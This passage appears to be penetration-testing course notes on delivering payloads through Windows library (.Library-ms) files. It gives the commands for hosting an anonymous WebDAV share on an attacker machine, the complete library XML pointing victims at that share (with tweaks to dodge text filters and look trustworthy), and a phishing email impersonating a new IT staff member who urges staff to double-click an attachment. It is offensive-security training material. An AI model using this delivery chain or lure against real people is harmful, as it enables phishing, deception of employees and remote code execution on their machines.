Delivery via Windows Library Files

Windows library files are virtual containers for user content. They connect users with data stored in remote locations like web services or shares. These files have a .Library-ms file extension and can be executed by double-clicking them in Windows Explorer.

A majority of spam filters and security technologies will pass Windows library files directly to the user. When they double-click the file, Windows Explorer displays the contents of the remote location as if it were a local directory. In this case, the remote location is a WebDAV share on our attack machine. Overall, this is a relatively straightforward process and makes it seem as if the user is double-clicking a local file.

We'll use WsgiDAV as the WebDAV server to host and serve our files. We can use pip3 to install WsgiDAV.

──(kali㉿kali)-[~]
└─$ pip3 install wsgidav     
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Obtaining dependency information for wsgidav from https://files.pythonhosted.org/packages/15/5c/7a56c9c2e4a65b65138d505ba5b8554db1139b80d6f722e460e7a4e08aad/WsgiDAV-4.3.0-py3-none-any.whl.metadata
  Downloading WsgiDAV-4.3.0-py3-none-any.whl.metadata (6.9 kB)
Requirement already satisfied: defusedxml in /usr/lib/python3/dist-packages (from wsgidav) (0.7.1)
Requirement already satisfied: Jinja2 in /usr/lib/python3/dist-packages (from wsgidav) (3.1.2)
Collecting json5 (from wsgidav)
  Obtaining dependency information for json5 from https://files.pythonhosted.org/packages/70/ba/fa37123a86ae8287d6678535a944f9c3377d8165e536310ed6f6cb0f0c0e/json5-0.9.14-py2.py3-none-any.whl.metadata
  Downloading json5-0.9.14-py2.py3-none-any.whl.metadata (10 kB)
Requirement already satisfied: PyYAML in /usr/lib/python3/dist-packages (from wsgidav) (6.0.1)
Downloading WsgiDAV-4.3.0-py3-none-any.whl (173 kB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 173.4/173.4 kB 1.2 MB/s eta 0:00:00
Downloading json5-0.9.14-py2.py3-none-any.whl (19 kB)
Installing collected packages: json5, wsgidav
Successfully installed json5-0.9.14 wsgidav-4.3.0

If the installation of WsgiDAV fails with error: externally-managed-environment, we can use a virtual environment3 or install the package python3-wsgidav with apt. In PEP 668,4 a change was introduced to enforce the use of virtual environments and prevent situations in which package installations via pip break the operating system.

Run WsgiDAV from the /home/kali/.local/bin directory. In the case that WsgiDAV was installed via apt, the installation path differs and wsgidav should be used as command to start the server throughout the course. The first parameter we'll provide is --host, which specifies the host to serve from. We'll listen on all interfaces with 0.0.0.0. Next, we'll specify the listening port with --port=80 and disable authentication to our share with --auth=anonymous. Finally, we'll set the root of the directory of our WebDAV share with --root /home/kali/webdav/.

┌──(kali㉿kali)-[~]
└─$ mkdir /home/kali/webdav
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ touch /home/kali/webdav/test.txt
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

We'll click on File > New Text File. We'll then save the empty file as config.Library-ms. As soon as we save the file with this file extension, it is displayed with an icon. While the icon doesn't look dangerous, it is not commonly used by Windows and therefore may raise suspicions. To increase the chances that our victim will execute our file, let's change its appearance.

Library files consist of three major parts and are written in XML to specify the parameters for accessing remote locations. The parts are General library information, Library properties, and Library locations. Let's build the XML code by adding and explain the tags. We can refer to the Library for further information. We'll begin by adding the XML and library file's format version.

The listing below contains the namespace for the library file. This is the namespace for the version of the library file format starting from Windows 7. The listing also contains the closing tag for the library description. All of the following tags we cover will be added inside the libraryDescription tags.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

</libraryDescription>

We'll add two tags providing information about the library. The name tag specifies the name of this library. We must not confuse this with an arbitrary name we can just set randomly. We need to specify the name of the library by providing a DLL name and index. We can use @shell32.dll,-34575 or @windows.storage.dll,-34582 as specified on the Microsoft website. We'll use the latter to avoid any issues with text-based filters that may flag on "shell32". The version tag can be set to a numerical value of our choice, for example, 6.

<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>

Now, let's add the templateInfo13 tags, which contain the folderType tags. These tags determine the columns and details that appear in Windows Explorer by default after opening the library. We'll need to specify a GUID that we can look up on the Microsoft documentation webpage. For this example, we'll use the Documents GUID to appear as convincing as possible for the victim.

The next tag marks the beginning of the library locations section. In this section, we specify the storage location where our library file should point to. We'll begin by creating the searchConnectorDescriptionList, tag which contains a list of search connectors defined by searchConnectorDescription.18 Search connectors are used by library files to specify the connection settings to a remote location. We can specify one or more searchConnectorDescription elements inside the searchConnectorDescriptionList tags. For this example we only specify one.

Inside the description of the search connector, we'll specify information and parameters for our WebDAV share. The first tag we'll add is the isDefaultSaveLocation tag with the value set to true. This tag determines the behavior of Windows Explorer when a user chooses to save an item. To use the default behavior and location, we'll set it to true. Next, we'll add the isSupported tag, which is not documented in the Microsoft Documentation webpage, and is used for compatibility. We can set it to false.

The most important tag is url, which we need to point to our previously-created WebDAV share over HTTP. It is contained within the simpleLocation tags, which we can use to specify the remote location in a more user-friendly way as the normal locationProvider element.

<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList

Final Code

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

When we re-open our file in Visual Studio Code, we find that a new tag appeared named serialized. The tag contains base64-encoded information about the location of the url tag. Additionally, the content inside the url tags has changed from http://192.168.119.2 to \192.168.119.2\DavWWWRoot. Windows tries to optimize the WebDAV connection information for the Windows WebDAV client and therefore modifies it.

Email PreText

Hello! My name is Dwight, and I'm a new member of the IT Team. 

This week I am completing some configurations we rolled out last week.
To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!

If you have any questions, or run into any problems, please let me
know!

Last updated